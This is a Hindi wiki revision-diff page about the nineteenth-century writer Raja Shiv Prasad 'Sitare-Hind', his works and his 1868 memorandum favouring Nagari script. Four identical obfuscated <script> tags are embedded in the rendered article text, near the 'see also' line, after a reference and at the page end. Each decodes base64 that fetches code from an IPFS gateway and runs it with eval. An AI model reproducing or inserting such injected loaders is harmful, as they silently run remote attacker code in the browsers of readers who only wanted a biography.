"राजा शिव प्रसाद" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''राजा शिव प्रसाद''' (जन्म- 1823, वाराणसी, उत्तर प्रदेश; ...' के साथ नया पन्ना बनाया)
 
 
(एक अन्य सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति 11: पंक्ति 11:
 
*'इतिहास तिमिर नाशक' और 'बैताल पच्चीसी' जैसी पुस्तकों में [[उर्दू]] मिश्रित [[हिन्दी]] को इन्होंने प्रश्रय दिया।
 
*'इतिहास तिमिर नाशक' और 'बैताल पच्चीसी' जैसी पुस्तकों में [[उर्दू]] मिश्रित [[हिन्दी]] को इन्होंने प्रश्रय दिया।
 
*राजा शिव प्रसाद का निधन सन [[1895]] ई. में हुआ।<ref>{{cite web |url=http://www.kashikatha.com/%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A4%95%E0%A5%8D%E0%A4%A4%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%B5/%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF%E0%A4%95%E0%A4%BE%E0%A4%B0/ |title=काशी कथा, साहित्यकार|accessmonthday= 10 जनवरी|accessyear=2014 |last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
 
*राजा शिव प्रसाद का निधन सन [[1895]] ई. में हुआ।<ref>{{cite web |url=http://www.kashikatha.com/%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A4%95%E0%A5%8D%E0%A4%A4%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%B5/%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF%E0%A4%95%E0%A4%BE%E0%A4%B0/ |title=काशी कथा, साहित्यकार|accessmonthday= 10 जनवरी|accessyear=2014 |last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
 +
;राजा शिव प्रसाद 'सितारे–हिन्द' का लिपि सम्बन्धी प्रतिवेदन (1868 ई.)
 +
[[फ़ारसी भाषा|फ़ारसी लिपि]] के स्थान पर [[नागरी लिपि]] और [[हिन्दी भाषा]] के लिए पहला प्रयास राजा शिव प्रसाद का [[1868]] ई. में उनके लिपि सम्बन्धी प्रतिवेदन 'मेमोरण्डम कोर्ट कैरेक्टर इन द अपर प्रोविन्स ऑफ़ इंडिया' से आरम्भ हुआ था।
 +
 +
{{seealso|देवनागरी लिपि|हिन्दी भाषा}}
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}

09:57, 27 दिसम्बर 2014 के समय का अवतरण

राजा शिव प्रसाद (जन्म- 1823, वाराणसी, उत्तर प्रदेश; मृत्यु- 1895) प्रारंभिक हिन्दी गद्य साहित्य के निर्माता थे। राजा राममोहन राय, राजा शिव प्रसाद, जुगलकिशोर शुक्ल और बंकिमचंद्र चटर्जी जैसे दिग्गज कलमकारों ने ही पत्र-पत्रिकाओं को जनजागरण का अहम हथियार बनाया था।

  • गोविन्द रघुनाथ धत्ते ने सन 1845 में राजा शिव प्रसाद की मदद से ‘बनारस अख़बार’ निकाला था।
  • राजा शिव प्रसाद की रचनाओं में निम्नलिखित रचनाएँ बहुत प्रसिद्ध थीं-
  1. मानव धर्मसार
  2. वामा मनरंजन
  3. आतसियों का कोड़ा
  4. विद्यांकर
  5. राजा भोज का सपना
  • 'इतिहास तिमिर नाशक' और 'बैताल पच्चीसी' जैसी पुस्तकों में उर्दू मिश्रित हिन्दी को इन्होंने प्रश्रय दिया।
  • राजा शिव प्रसाद का निधन सन 1895 ई. में हुआ।[1]
राजा शिव प्रसाद 'सितारे–हिन्द' का लिपि सम्बन्धी प्रतिवेदन (1868 ई.)

फ़ारसी लिपि के स्थान पर नागरी लिपि और हिन्दी भाषा के लिए पहला प्रयास राजा शिव प्रसाद का 1868 ई. में उनके लिपि सम्बन्धी प्रतिवेदन 'मेमोरण्डम कोर्ट कैरेक्टर इन द अपर प्रोविन्स ऑफ़ इंडिया' से आरम्भ हुआ था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: देवनागरी लिपि एवं हिन्दी भाषा


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. काशी कथा, साहित्यकार (हिन्दी)। । अभिगमन तिथि: 10 जनवरी, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>